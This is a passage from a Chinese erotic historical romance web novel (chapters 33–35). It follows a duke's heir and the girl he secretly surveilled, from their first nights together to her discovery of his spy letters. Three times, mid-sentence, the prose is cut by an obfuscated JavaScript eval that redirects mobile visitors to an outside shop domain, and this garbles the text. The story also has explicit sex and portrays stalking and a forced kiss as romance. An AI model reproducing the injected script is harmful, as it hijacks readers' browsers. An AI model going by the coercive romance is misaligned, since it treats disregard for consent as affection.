如今阮南枝鬓发亸松,眼波如水,双颊晕开的桃色愈发娇妍,害羞着躲藏避火图的那模样娇姹又惹人怜爱,看得江砚黎是一刻也忍不下去了,墨眸深沉,今夜就想将她拆吃入腹。 身下的女孩,衣裳已然尽数剥落,□□如雪,美得不可方物。 她的呼吸变得急促,眼睫毛颤巍巍抖动着,垂眸不敢再看面前的男人,本能促使她想要逃跑,但又因为他的目光过于灼热,而无法动弹。 身下铺着的鲛绡锦被,晕开了一小片濡湿,显然美人是因为他刚才的话语无比兴奋。 口是心非的枝枝。 看到了这样有趣的画面,男人的声音里有了更为明显的笑意。 “可以吗?”他颇为耐心地俯步身下去,高大的身形完完全全地将少女笼住,薄唇循着她莹白的雪颈磨弄着,齿尖偶尔轻啮,一下又一下,直教人心头发痒。 阮南枝慌乱地阖紧眼眸,一阵难言的羞涩浮上心头,让她几乎忘记了如何平稳呼吸。 胸腔里的心跳如擂鼓般,砰砰作响,那声响在耳畔震得愈发清晰。 心底那份自持的羞怯,正被悄然变化的情绪一点点动摇,不知不觉间,生出了几分顺着他的意思来的念头。 这样不上不下的拉扯与煎熬,磨人得很,偏偏身侧的男人只是噙着一抹云淡风轻的微笑,始终不曾再有半分动作。 实在受不住这滋味,阮南枝的眼眶里迅速盈起一层薄薄的水雾,晶莹的泪珠儿悬在纤长睫羽上,颤巍巍的,眼看着就要滚落下来。 羞颜慵怯,曩时端然的模样此刻已经不复存在,只剩娇怯无力的情态。 明明此时的自己状态也不怎么好,江砚黎还是作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987013|190853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恶般地想要她说出自己内心所想: “说话呀。” “要是枝枝不允许,我绝对不会勉强你的。” 他饶有兴致地笑着,男人看起来十分尊重她的意愿的样子,眼底的占有欲却怎么也藏不住。 终于是绷不住了,脑子里那根名为理智的弦一刹那断裂,阮南枝抱着他的腰,抽噎不断,软侬的嗓音带着哭腔,可怜兮兮的: “砚黎哥哥,枝枝好喜欢你……” 这句话饱含着无尽深意。 只因心悦于他,便连那羞于启齿的巫山云雨之愿,也借着这一句喜欢,悄悄递了出去,算是别样的应允。 智近于妖的江砚黎怎会不懂,少女的心思早已被他看得分明,此刻听了这话,更是瞬间便品出了其中的婉转情意。 “我也好喜欢枝枝。” 男人的喉结明显地滚动了下,颈侧青筋紧绷着,连日来的隐忍在这一刻抵达了极致,便不再忍耐。 他笑着亲了亲面前之人殷红的唇瓣。 修眉敛,长睫簌簌。涴香汗,流粉面。 女孩的眼泪也顺着脸颊滑落,梨花带雨,惹人怜见。 可惜床榻之上的江砚黎,哪里还是平日里那副温润如玉的君子,藏了满身桀骜的性子,那些压着的劣根性,此刻尽数显露出来。 月传银漏和更长,揽着怀中伊人,唇齿相缠间,软香暗度。 良宵夜暖。 …… 毕竟是身子骨娇怯怯的少女,阮南枝哪里经得住他过于热切的相待。 念及她是初尝情事,纵使江砚黎隐忍了许久,也还是强自收敛了几分,只陪着她温存了两回便作罢。 “疼吗?可有哪里不舒服?” 云收雨散后,江砚黎才缓慢起身,捏着阮南枝红嫩的耳垂,温柔无比地细细询问着。 生怕自己方才情难自禁,哪里没顾及到,惹得她受了委屈。 女孩瘫在榻上摇摇头,浑身上下的肌肤都泛着绯靡的潮红,满脸泪痕与香汗,沾染着凌乱的青丝,那双平日里干净纯粹的杏眼,此刻媚意横生,似要滴出水来。 “不疼,就是好累呀……”看着男人俊朗勾人的面容,阮南枝羞怯怯地小声抱怨一句,却十分清楚,自己心里满是欣喜。 她和他,终于…… 提水的婢子是巧杏,守在门外时,早已听了半夜房内的动静,心底隐隐约约便猜到了七八分,只暗暗替自家小姐的身子担忧。 待得了屋内传唤,她端着一桶水推门而入,放轻了脚步,下意识地去寻阮南枝的身影。 可榻前纱幔重重,锦帐低垂,影影绰绰的,里头的娇人儿只露出一点模糊的轮廓,看不真切。 偏巧这时,无意间对上了一旁世子冷淡的目光。 巧杏心头一跳,吓得连忙低下头,敛了所有心思,不敢再多看。 男人占有欲作祟,这样妩媚艳丽的枝枝,只能自己独自欣赏。 哪怕就连近身伺候的婢女,也休想敢窥见半分她这一模样。 因此,江砚黎依旧亲自操持着伺候女孩的活儿,叫来水后,将阮南枝的身子裹得严严实实地抱去浴桶前,便屏退了所有婢仆去更换湿透了的床被,独由自己细心地帮她清洗着身子。 玉体玲珑,馨香萦鼻。 刚开了荤的男人纵然极力克制,但在触到那细腻的肌肤时,还是难免再度变得精神抖擞。 然而方才气喘吁吁又哭又叫的娇气包显然是累坏了,无暇顾及上其他,此刻只软软搂着男人的脖子阖着美目,心安理得地享受他的照顾,眼皮渐渐发沉,昏昏欲睡。 见她这般娇懒疲惫的模样,江砚黎便是再怎么欲求不满,也只能尽数压下,无奈地低叹一声。 “睡吧,枝枝。” 他俯身在阮南枝莹润的小脸上印下一个轻柔的吻,眼神里满是眷恋与怜惜,而后将她拥入怀中,陪着很快就睡去的少女一同阖眼入眠。 33. 晨间 早晨,阮南枝醒了。 床上两人的墨发缱绻纠缠在一起,正如昨夜彼此相互依偎的躯体一样,亲密无间,密不可分。 俊美无俦的男子近在咫尺,此刻仍阖目酣眠,面容平静,褪去了平日里的疏离淡漠,全然不设防备。 少女忍俊不禁,吃吃地笑着,纤指不由自主地探出,戳了一下他的脸颊。 察觉到颊边的作乱,男人睁开了他那多情似水的眸子,一把抓住她的纤细小手,就这么沉默地盯着阮南枝,可从面上完全看不出他在想什么,看得她心里一阵慌。 他……这是什么意思? 又忆起昨夜肌肤相亲的缠绵,那番毫无间隙的相融相依,她还清晰地记得他那灼人的温度。一股后知后觉的羞怯涌上心头,忍不住开始自我怀疑。 是对自己不满意? 还是,后悔了昨夜与自己欢好? 故而才用这般深沉的目光看着她,眼里满是她读不懂的情绪? 情窦初开亦是初尝人事的小姑娘什么也不知道,面对心上之人的目光,她猜不透也摸不准男人在想什么,一颗心悬着,忐忑不安,渐渐生出了患得患失的怯懦。 自己总是笨笨的,既无婉转玲珑的心思,也没有撩拨人心的风月魅力。 不懂如何审时度势讨得男子欢心,更不会揣摩人心小意逢迎。 在这段关系里,因为江砚黎太过耀眼,她总是很惶恐,生怕自己哪里做得不够好,配不上他,遭了厌恶还不知晓,依旧傻乎乎地凑在他身边。 这么想着,被看得羞赧万分的阮南枝,无措地红着脸,抬起手臂紧紧蒙住自己的眼睛,试图这样来躲开让她心乱如麻的注视。 她不知道的是,男人与女人不一样,晨间正是兴致高昂的时候,自己这颊若生花,娇媚媚的样儿,简直诱得面前初醒的江砚黎心绪难宁。 一边女孩在敏感自卑,而另一边,昨夜本就未得尽兴的他,只是想着遵循着自己骨子里的本能,借着晨间的意兴将这软乎乎的宝贝再好好地逗弄欺负一番,把昨夜没尝够的美味,都一一品遍。 向来在各种场合都能游刃有余、纵横捭阖的男人确实与众不同,那份洞察人心的能力,早已在世事磨砺中千锤百炼。 能感受得到阮南枝此刻的状态有点不对劲,她脸上的神情,与其说是羞怯,不如说是深埋着自卑。 想再与其共度欢愉时光,便要将她的情绪妥帖顾及。 他这般想着,竟完全忘了,自己从前本是最怕麻烦的性子。 旁人皆赞叹靖国公世子完美无缺,却并不知晓,与她相伴的时日里,他也慢慢修正了以往性格里有缺陷的一面,也渐渐学会了如何去真正关心一个人。 江砚黎淡笑一声,把那只藕臂拉下来,顶着她的眼睛,仿佛能读透她心底的所思所想。 随即俯身,吻住了明显开始有些失落的女孩,低声道: “枝枝好美,我一不小心就看得愣了神。” “别害羞。” 以这种方式,给了女孩不必言明的安慰。 长臂一揽,将纤细柳腰搂了过来,两人的身躯再一次紧贴了起来。 他的额头贴上了她的,如此之近的距离,温热的气息扑面而来,将她团团包围住。 原本惴惴不安跳动的内心,一下子就被这样体贴的举动与温柔的话语哄好了,阮南枝面上晕开绯红,依恋地搂上江砚黎的脖颈,将心底藏的那点担忧,尽数化作软语说了出口: “砚黎哥哥不许嫌弃枝枝。” 江砚黎有些意想不到,挑眉好笑道:“笨蛋枝枝,我嫌弃你什么?” “你不知道,这样的你……”似是想起了什么,他低低笑了,那声线磁性又蛊惑,带着暗哑的情欲,拂在阮南枝耳畔,“只让我想弄你。” 哪承想矜贵卓绝,人人称赞其温润如玉的世子,唇齿间竟会吐出这般露骨粗俗的话语,女孩的脸颊顿时红得似要滴出血来。 她惊得微张樱唇,水眸中满是不敢置信,唇瓣嗫嚅了半晌,才好不容易从齿间憋出一句话: “你被夺舍了么?” 江砚黎又笑了,亲昵地弹了弹她的额头:“笨蛋。” “总觉得……这样的世子哥哥,全然不像平日里的世子哥哥。” 阮南枝从来没见过这样的他。 此刻他的模样实在太过孟浪,纵然哄着她的语气依旧温润如春水,可女孩却能从那低沉的声音中,隐隐约约察觉到,男人温柔的表象之下正翻涌着汹涌波涛。 的确如此。 自诩不是什么良善之辈,江砚黎的骨子里本就藏着几分偏执与狠戾,不过是比旁人更擅于伪装罢了。 一张温和的面皮,将那些阴鸷的心思掩得严严实实,除了明微等能够亲近他的人知晓,任谁也看不透分毫。 若他当真是什么光风霁月的君子,何至于从相识的第一眼起,便步步为营,在阮南枝身边布下层层叠叠的温柔陷阱,只为将这个懵懂单纯的少女牢牢圈在自己的身边,让她毫无防备地卸下所有防备,最后心甘情愿地成为自己的女人? “那枝枝……会不会讨厌这样的我?” 敛下骨子里的恶劣和凌虐欲,江砚黎挑起一缕女孩的发丝,打趣地发问,目光紧锁着不肯放过她脸上一丝一毫的神情变化。 怎么可能会讨厌! 江砚黎是如此之好,对她来说,就像皎洁无暇的神明,更何况如今,明月终于肯高悬独照于她,这让阮南枝怎么能不喜欢。 小脸红红的女孩吸了吸鼻子,索求无度蹭着男人的下颌,乖巧听话地撒着娇: “砚黎哥哥,枝枝最喜欢你了。无论你是怎么样的,枝枝都会一直一直喜欢你的。” 乖死了。 勾人魂魄的妖精。 纯情又诱人,偏生还不自知。 阮南枝实在是太合他的心意了,或许最初只是乍见之欢的心动,可越相处,便越觉两人之间的契合深入骨髓,仿佛是天造地设的一对,无论在什么方面都能彼此相融。 江砚黎明显动了情,沉着眸子,不由分说地掐着女孩的细腰,翻滚进锦被之下。 懵懵懂懂的阮南枝还不知道自己无意中又再次点燃了男人的火气,而等她反应过来的时候已经来不及了。 求饶的话语支离破碎,女孩红着眼眶呜呜哭咽着。 被强势的男人按住亲吻脖子的时候,只能委屈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17002269|190853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兮兮地摇着头,可怜又无措。 然而这样一幅光景落在他的眼中,也不过是毫无抵抗之力的美人引颈受戮罢了。 …… 晨间的几番折腾使得这场起床的行动拉得格外长久,直至彻底吃饱餍足,江砚黎这才心满意足地勾着唇角,神清气爽地起了身。 这边刚勉强平复了紊乱呼吸的阮南枝,也撑着酸软的手臂想要下床。 可她显然高估了自己此刻的力气,娇软的身子如没了骨头的软泥一般,刚触到床边便踉跄着往下滑,最终“啪嗒”一声,整个人跌坐在了柔软的地毯上。 听见声响,他连忙伸手将跌落在地毯上的女孩横腰抱起,无奈地低叹一口气: “摔疼了没有?” 精心布置的地毯奢华柔软,摔到上面其实并不怎么疼,阮南枝扒住男人的肩膀,像只被踩了尾巴的炸毛小猫,张口在他肩头咬了一口。 要不是他,自己怎么会站都站不稳…… 江砚黎一直在笑,觉得自家小姑娘真的是哪哪都可爱得不得了。 取过一旁的衣裙,想替她仔细穿上,勾着系带正要系上时,大掌无意间滑过她那被弄得微微隆起的小腹,似是突然想到了什么,动作停了下来。 被他这突如其来的停顿弄得莫名其妙,阮南枝抬眼望着覆在自己腹上的那只骨节分明的手,一抹薄绯悄然浮上脸颊。 男人却突然开口: “抱歉枝枝,是我不好,情难自禁,竟忘了顾及有孕的可能……” 语气里带着几分难得的歉疚。 闻言,阮南枝愣了一下。 “没事啊……”只当他是不愿让自己怀上他的孩子,毕竟如今她算是被他养在外面的人,两人既未三媒六聘,也无红帖为证,名不正言不顺的,此刻若真有了身孕,确实于理不合。 女孩心底虽闪过一丝难言的失落,但也觉得他的顾虑情有可原,“我待会让巧杏去煎碗避子汤喝了便是。” 可听到她这么说,按理该因无需担忧在外搞大了女人肚子而放下心来的江砚黎,却皱起了眉头,眼神中满是不赞同。 “对于怀孕此事,我先前还没有仔细问过你的意愿,这事我们得好好商量一番。” 他不愿意让阮南枝喝避子汤伤了身子,可若是她打心底里不愿怀孕生子,也只能由着她喝下这一回。 至于往后,两人欢好之前,他定会先主动服下男子的避子药物,断不会使她的身子受半分损伤。 江砚黎抿紧了薄唇,不再多言,先替她将衣衫穿好,而后,才将她抱到椅上,自己则紧挨着她坐下,神情是前所未有的严肃: “枝枝,你有没有认真想过,自己到底想不想生孩子?” 啊? 被这突如其来的问题弄得摸不着头脑,阮南枝茫然得圆睁杏眼,看起来不解极了。毕竟在这个时代,女子为男子生儿育女开枝散叶本就是天经地义的事情,是刻在骨子里的认知。 自小听着身边人说的都是这个道理,从未想过这件事还需要特意询问。 她愣在原地,脑海里一片空白,只觉得这个问题来得太过突兀,一时之间竟不知该作何回应,怔怔地望着面前之人。 34. 迷恋 从女孩呆愣的神情中看得出她的困惑,江砚黎牵起她的手,语气是前所未有的耐心:“生产于女子而言是闯一趟鬼门关,十月怀胎的苦楚尚且不论,临盆时更是要历经九死一生的劫难,稍有不慎便会危及性命。你不想生育,倒也合情。” “可同时,你身为女子,生来便有着孕育生命的能力,这是男子所没有的。若你盼着能有个自己的孩子,我也理解。枝枝尽可以由着心意来作出选择。” 她的身子,从来都该由她本人做主,旁人既不能强求,他更不会逼她。 纵是有来自家族亲眷的殷殷期盼,以及世俗礼法的悠悠众口,这些压力,他也会一力担下,不会让这些外界纷扰影响她的选择。 江砚黎淡淡想着,神情平静。 是……这样吗? 这些道理,阮南枝是头一遭听说,对她来说,冲击着实有些大了。 她怔怔地望着男人牵着自己的那只手,掌心传来的温度温暖安稳。 见女孩仍旧不言语,江砚黎揉了揉那毛茸茸的脑袋,继续说: “枝枝,你若想要孩子,这次便不必喝避子汤了。若是一次就有了,便生下来,我定会马上依礼娶你进门,不会让旁人说闲话。” “若是不想要,那就先委屈你把避子汤喝了,往后我会提前服用避子的药,绝不会再让你折损身子,受这份苦。” 听闻此言,阮南枝呼吸一滞,内心大为震撼,杏眸里满是不敢置信的错愕。 简直怀疑自己是不是听错了。 虽说也有男子服用的避子药物,可那药喝了容易损了阳气,哪个男子会甘心遭这份罪,反正女子也能喝。 放眼望去,多是让女子服用那性寒的避子汤,哪怕会折损了自身康健,导致日后无法怀孕,可由女子来做这些事,是再寻常不过的。 更何况,江砚黎可是含着金汤匙长大的靖国公世子,是京中跺跺脚便能让朝野颤三颤的人物,如此尊贵无比的男人,竟然会自甘去服用那会伤津耗气的避子药物。 别说其本人骨子里就矜贵傲气,便是靖国公府上下,也绝不会容许他这么做,毕竟他是靖国公府唯一的嫡脉,肩负着传承门楣的重任。 “砚黎哥哥,你不要胡说。”阮南枝黛眉青颦,小手一把抚上他的薄唇,挡住不让他继续说出些惊世骇俗的话语来,“你是那么的尊贵,怎么能由你来服用避子之物呢?” 江砚黎摇摇头,拉过那只覆在自己唇上的小手,手臂一揽便将她整个人圈入怀中:“枝枝,你明知道我不会让你伤了身子的。” “愿不愿意生孩子,你自己认真考虑吧。” 他意已决,在有关她的事情上从不会马虎半分,此刻内里的霸道尽数显露,语气里更是带着不容商讨的强硬。 而这一切,都是为了她。 阮南枝的心里感到一阵融融暖意,她抬手回抱住面前的男人,脸颊贴着他的肩膀蹭啊蹭,温顺软糯地笑道:“砚黎哥哥对枝枝真的好好呀,枝枝好爱你。” 先前,她从未认真思量过自己到底想不想生孩子,现在环抱着江砚黎的腰,脑袋埋在那温热的胸膛上,以这样贴近的姿态仔细思考了好一会儿,心下渐渐有了决断。 她的娘亲当年因生她的时候难产而撒手人寰,因此,阮南枝一直都懂得女子生产是有多么危险,稍有不慎,便会丢掉性命。 可这些年,每当看到别家孩童绕着娘亲撒娇的时候,那份对母爱的缺失化作心中的遗憾,让她时常忍不住去想,若是自己有了孩子,那该是什么样的呢…… 她一定要将世间最温柔的陪伴都给这个小生命,看着她牙牙学语,蹒跚学步,认真耐心地教她做人的道理,陪伴她一日日长大。 如果她的娘亲还在世的话,一定也会这样,让自己在充满爱意的环境下长大,就像她想对自己孩子所做的那样。 这不仅是盼着拥有一份血脉相连的牵绊,更是对自己缺憾的一种弥补。 更何况,她是那么喜欢砚黎哥哥,若是能有一个两人爱情的结晶,一个既带着他的模样、又有着自己影子的孩子,一个融合了他们两人骨血的小小人儿,那该是多么幸福的事呀! 想着想着,阮南枝眼眶一阵酸涩,忍泪凝情,凑近江砚黎耳边瓮声瓮气道: “砚黎哥哥,枝枝想好了……” “枝枝想要和你生一个小孩。” 女孩的话语落得十分笃定,江砚黎垂眸望她,见她一双水眸亮若星子,潋滟生波,便是日日相对看惯了这副容色,却也依旧抵不住这眉眼间的艳丽风情。 和他生一个小孩…… 江砚黎心口猛地一跳,漏了半拍,喉结不自觉地轻轻滚动了一下。 这样直白的话,落在耳中,像是什么大胆又缠绵的邀请,清纯妩媚,别样的诱人。 他回过神来,唇角轻扬,笑得温柔醉人:“……好。” * 向来是端方自持的江世子,自从初次与心上人水乳交融过后,变得格外黏人。 毕竟是头一回体会到女儿身姿如此柔软馨香,江砚黎这颗沉寂无情了多年,只装得下权势算计的心,居然也开始容得下这之外的人与事了。 好几日缠着阮南枝寸步不离,但凡进了临渊府的稀罕物件,他皆是看也不看,只遣人一一往景安苑送。 那些堆在她院里的奇珍异宝,早已多得快摆不下,可他仍觉得不够,似乎要将这世界上所有珍奇的东西都给她才肯罢休。 又将一颗西域进贡的夜明珠嵌在床头的灯盏里,照得满室柔和,嘟着小嘴的阮南枝支颐望向一旁的男人,纳闷道:“砚黎哥哥,你这几日送来的东西也太多太珍贵了。” “其实有你陪伴,枝枝已经心满意足了,原是不必如此的……” 江砚黎不甚在意地笑了一下,意态疏懒地凑近,鼻息间萦绕着少女发间的兰芷清香:“我只是太喜欢枝枝了,想把所有好东西都给你,你不必有负担,要是喜欢就收下,不喜欢丢了便是。” 她喜欢他的人,所以只要是他送的物什,阮南枝爱屋及乌,也都喜欢。况且那些都是珍贵无比的宝物,又怎会舍得丢掉呢? “你所赠的东西,枝枝都喜欢,都会妥善收着的。”女孩杏眼弯弯,满心欢喜。 “对了。” 男人想起了什么,状似无意地问了一句,“枝枝可喜欢小猫?” 小猫?! 这二字入耳,阮南枝的眸子倏地亮起如同星星闪烁其中,方才还娇气支颐的模样瞬间收敛了,忙作西子捧心之态,语带雀跃:“自然是喜欢的!” “我很早就想养一只猫儿了,但是爹爹不太喜欢这种小动物……”说起此事,女孩看起来十分沮丧,恹恹不乐地倒在床上,叹了一口气,“因此,他一直都不同意我养一只猫。” 说罢,微微侧首,光洁莹白的后颈便这样露了出来。 见状,江砚黎眼神一黯,大掌顺势往下,指腹缓缓擦过她颈侧肌肤,惹得阮南枝轻缩螓首,发出一声软腻的嘤咛。 男人低笑出声,俯首在她耳畔低语:“藩属进献了贡物,其中有一尾长毛波斯猫,是京中不曾见的品种。枝枝既喜欢猫儿,便领去养着吧。” “真的吗!” 阮南枝欣喜若狂,猛地起身扑入他怀中,双臂环住他的颈间,微仰起小脸,樱唇连连印在他的颊边:“太好了,谢谢砚黎哥哥!” 被她撞得微晃,江砚黎旋即伸手稳稳揽住她的腰肢,看着怀中笑靥如花的少女,也忍不住勾起好看的唇角:“那波斯猫如今尚小,平日认生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17019175|190853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还养在临渊府里,遣人来送恐怕会惊扰了它,明日我便亲自抱来给枝枝。” “只是明日都察院有要务需处置,怕是很晚才能回你这儿。你若等不及,也可先去临渊府将猫儿领走。” 闻言,阮南枝忙不迭地点点头:“好好好。” 正当少女还沉浸在自己即将拥有一只专属小猫的欢喜里时,裙角猝不及防地被撩起。 她怔忡片刻,下意识想要从男人怀中挣开。 然而,后腰的大掌稳如磐石,半点不肯松开。 “再动,明日便让你连床都下不来。” 江砚黎低哑闷哼一声,声线里裹着的情欲,危险悚然。 这话一出,她哪里还敢动弹?委委屈屈的小姑娘现在已然地跨坐在他怀中,两人相贴的瞬间,纤细的腰肢便绷得僵直,生怕自己稍一动弹,便惹怒了那可怖的大物。 “你怎么突然……”阮南枝不住心颤,胆怯地鼓起桃腮,只觉得男子这种生物实在是太奇怪了,怎么莫名其妙就有了反应。 她哪里知道,软玉温香拥在怀中,方才那一番娇憨的亲暱,本就足以勾得江砚黎起了兴致。 他是正常的男人,喜欢的女子对自己又是亲又是抱的,若毫无反应,那就是不举。 此刻女孩仿佛害怕什么事到来一般,不得不安分了下来,乖乖缩在他怀里,可他腹间的那股燥热,却怎么也褪不下去。 实在是太没自制力了。 身为靖国公府世子,江砚黎自少时便被严教,加之对自己的要求很高,立身行事向来以专注自持为圭臬,一言一行皆循规蹈矩,从来没有做过什么逾矩之举。 京中宴席酒会的应酬从无间断,各式妖娆女子常被人送到他跟前,或是欲攀附权势,或是想借机承欢,手段百般。 可他向来片叶不沾身,对这些投怀送抱的女子非但毫无波澜,反倒厌憎这般以美色钻营的行径,向来是冷眼拒之,毫不留情。 谁曾想,如今……整日欲求无度地想着亵弄一个小姑娘。 男人轻叹,喘息声性感低沉,而女孩已经失神恍惚,时不时可怜地哆嗦一下。 …… 翌日一大早,江砚黎就已经走了。 因昨夜被他缠磨了许久,阮南枝困意沉沉地睡到午后,这才被巧杏轻手轻脚地唤了醒来。 她揉着惺忪的睡眼坐起身,脑中忽而想起江砚黎提及的那只波斯猫,心里的欢喜瞬间压过了周身的酸软。 顾不得其他事情,她随便吃了点东西后就急声吩咐巧杏备车,一心只想立刻赶往临渊府,将那只猫儿接回来。 果如阮南枝所料想的那样,刘管家替她抱来的那只波斯猫生得娇憨可爱,通身覆着似雪洁白的长毛,碧色的眸子像嵌了两颗翡翠,见她靠近便轻轻“喵呜”一声,萌得她心儿都化了。 阮南枝按捺不住内心的汹涌澎湃,正想扑上去将那团软乎乎的小东西亲亲抱抱举高高,谁知那小猫胆子忒小,被她这架势一唬,嗖地一下子就忙蹿开了,径直跳到了江砚黎的床榻之上。 “咪咪不要跑!”她立即脚步轻快地追了过去,到了床边,迟疑了一瞬,还是弯腰褪去脚上的鞋袜,拎着裙摆也扑上了床榻,跟着小猫一同在柔软的被褥上扑闹起来。 那小猫起初还带着几分警惕,待被挠得舒服了,就乖乖地拿小脑袋蹭着她的手指,软乎乎的身子在她旁边拱来拱去的。 阮南枝被逗得笑眼弯弯,索性趴在江砚黎的床上,将猫儿抱进怀里,玩得不亦乐乎。 这般逗弄了好久,小猫明显累了,而她同样也是,昨夜未歇好的倦意袭卷上来,忍不住打了个小小的哈欠,眼皮渐渐发沉。 于是女孩就这样抚着猫儿,挨靠世子所专用的锦枕,迷迷糊糊地睡了过去。 35. 发现秘密 自在江砚黎寝房的床榻上悠悠转醒后,阮南枝百无聊赖,便起身在屋内随意踱步观瞧。 行至书桌前,她看了一会儿案上的卷册,目光却无意间一个被放下面的黑色木箱吸引了。 那箱子漆色沉郁,与周遭精致的文房清供格格不入。 好奇心驱使之下,阮南枝打开了那个箱子。 里面整整齐齐地叠放着一沓信函,她手指微颤,抽出最上方一封。 待看清信笺上熟悉的字迹,以及那些关乎她日常起居的细琐描述,阮南枝如遭雷击,瞬间僵在原地。 这满箱信函,桩桩件件,竟然全是与她相关的记录。 聪明绝顶的他,甚至根据她其他的喜好,推测出了她最喜欢的男子是什么样的,然后伪装成这种清正无欲的君子来接近她。 铁画银钩的行书,落在给暗卫的密笺上,墨迹淋漓间,都是与父亲冤案相关的字字句句: “阮礼调任太常少卿后,因执意纠察祭祀违制用器之礼,又因任苏州刺史时严查地方势力勾结盐商偷税漏税一案,引得多方记恨。这些人合谋借太常寺之职构陷,拟以借祭祀传递旧党暗号的罪名罗织罪状。” “速截获其私通的盐税账册,另暗中打点牢头,务必保阮父在狱中立于安全之地。” “三月十五,待其女走投无路亲至临渊府相求,便将其安置于南郊别苑,密切留意其动向。” 那笔锋凌厉的熟悉字迹,在此刻她的眼中,仿佛一记重锤,狠狠撞在她心口。 女孩惊得杏眼圆睁,那双平日里灵动的眼眸,此刻异常怔忪,满目难以置信。睫羽惊颤,唇瓣张开,半个字也吐不出来。 阮南枝愣愣地立在原地,脑海中翻来覆去都是信上的字句,还有那些过往里看似巧合的相遇,恰到好处的援手…… 一直以为,江砚黎对自己的帮助,全是因他待人仁善,故而在她每回遇上难处的关头,他都会友好地伸出援手。 可这封封密函却像一面镜子,突然照出了所有“偶然”背后的步步算计。 原来从很早以前,他便将她的一切看在眼里,甚至为了等她主动上门,早早布好了这样一盘棋。 生气? 寒心? 好像……都不是。 只是铺天盖地的震撼。 她从未想过,自己倾心相慕的人,竟对自己存了这样的心思,还不动声色地筹谋了这么久。 此时,阮南枝心口乱糟糟的,还没理得清什么思绪,脑海中又不由自主地回想起了那张韶秀清逸的面容平日里看向她时的温柔眼神。 对江砚黎的那份欢喜与心动,好像也没有因这突如其来的真相而消减。 反倒添了几分说不清道不明的复杂滋味。 只是觉得,这让她对他的认知,又多了一层全然陌生的模样。 她确实,真的不太了解他。 无论是外在的家世背景或是他的喜好,还是他本性里最真实的模样,这些,她都全然不知晓。 恰在此时,门外传来脚步声。 阮南枝一瞬间便意识到这是江砚黎回来了,她急忙想要将案上的密函收拾好,可适得其反,慌忙之中反而全数散落在地。 房门已然被打开。 室里中光景敞亮在来人的眼皮底下,包括慌乱的少女,以及那些掉落的密函,所遁无形。 男人逆着光缓缓走进来,日光勾勒出他挺拔的身形,面容隐却在暗影里,完全看不见他面上的表情。 阮南枝内心惴惴不安,只得勉强挂起一抹讪笑,装作若无其事地迎上去: “砚黎哥哥,你回来了?” 任职都察院多年,见过各色人等的江砚黎,自然没有错过面前女孩眼眸中一闪而过的害怕。 他眼神一暗,内心忽生一丝阴翳。 怕他? 怎么,知道了自己其实并没有她想象中的那么好,就开始怕他了? 阮南枝确实有些害怕,但她只是害怕自己没有经过同意就乱翻江砚黎的东西,唯恐这种行为会惹得他不高兴。 还没等她开口,男人就已轻笑一声,挑了挑眉:“都看到了?” 被撞破了隐秘,江砚黎丝毫没有慌张,反倒一脸玩味地看着她,仿佛藏着秘密、被人窥见的人不是他一般。 这些日子,阮南枝听惯了男人的温柔低哄,此刻听到这样的语气,自然觉得他变得好凶。 “我……” 少女支吾开口,大手已然捏上了那纤细脆弱的后颈。 后颈本是人身最娇弱的地方,此时自己的命门被别人死死捏着,阮南枝吓得要死,只觉得眼前戾气沉沉的江砚黎过于危险,似乎有什么一触即发。 他……他难不成要捏断她的脖颈? 不过是没经过他的同意就翻了他的东西,至于吗? 再怎么样,也不能这样掐死她吧。 不知何时,又怕又委屈的阮南枝,眼眶已经蓄满了涟涟泪水,慌得抬手去推他,转身便要踉跄着逃走。 心里只剩一个念头—— 再不快跑,她这条小命怕是要交代在这儿了! 而男人看到她这副抗拒闪躲的模样,仿佛他是什么洪水猛兽,心头顿时烦躁得紧。 跑? 她想跑到哪里去? 真是个小骗子。 明明之前说过,无论怎么样都会喜欢他的。如今发现了他的蓄谋,却吓得要逃之夭夭。 江砚黎不允许她离开自己。 高大的身躯挡住她的去路,大掌无情地掐住那一折便能折断的柳腰。 俊朗面庞直直逼近,朝她落了下来。 转瞬之间,她便被峻拔英挺的男人压得动弹不得,两人贴合的距离过近,鼻息相缠,呼吸混乱。 馥郁冷冽的气息扑面而来,温热的舌头舔上她娇艳欲滴的唇瓣上,急促炽热,吻得深重,辗转吮吸,舌尖抵着贝齿,以不容置喙的力度,无视她的抵抗。 “呜呜……不要,放开我……” 江砚黎置若罔闻,昔日温和的表象在此刻尽数褪去,眼底翻涌着与平日截然不同的狠戾,如蛰伏的猛兽挣脱了桎梏。 他压着怀中香软的少女,吻得辗转缠绵,气息交融间,尽是毫不掩饰的占有欲。 喘息愈发粗重急促,掌心揉过女孩紧绷的身体曲线,可以感受得到,她浑身都在簌簌轻颤。 